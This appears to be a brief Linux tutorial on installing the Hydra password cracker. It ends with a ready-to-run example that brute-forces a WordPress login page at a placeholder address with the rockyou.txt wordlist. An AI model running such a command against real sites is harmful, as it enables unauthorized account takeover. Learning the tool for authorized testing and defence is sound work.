Hydra command examples (linux)

Summary

[I] Presentation

Weak passwords are still a big problem in security, nowadays guessing passwords and cracking algorithms is becoming easy and brute-forcing is a major kind of attack.

To crack passwords, a great tool to brute force is a hydra. It is a parallelized login or password cracker, and usually comes preinstalled in the Kali Linux system but if in any case it is not installed or you are using any other distribution you can follow the steps in this article to install it.

[II] Installation

The following commands will install the required prerequisites to set hydra on your linux system.

hacker@linux:#
sudo apt-get -y install build-essential
hacker@linux:#
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev

The following command will install hydra from lnux apt repository. It will install the command-line and GUI version on your Linux system.

hacker@linux:#
sudo apt-get install hydra hydra-gtk

[III] Usage

Bruteforce a wordpress login page on a https website, using words list rockyou.txt, with 20 threads:

hacker@linux:#
hydra -l admin -P rockyou.txt -u -t 20 -m "/wordpress/wp-login.php:user_login=^USER^&user_pass=^PASS^:S=ERREUR" X.X.X.X https-post-form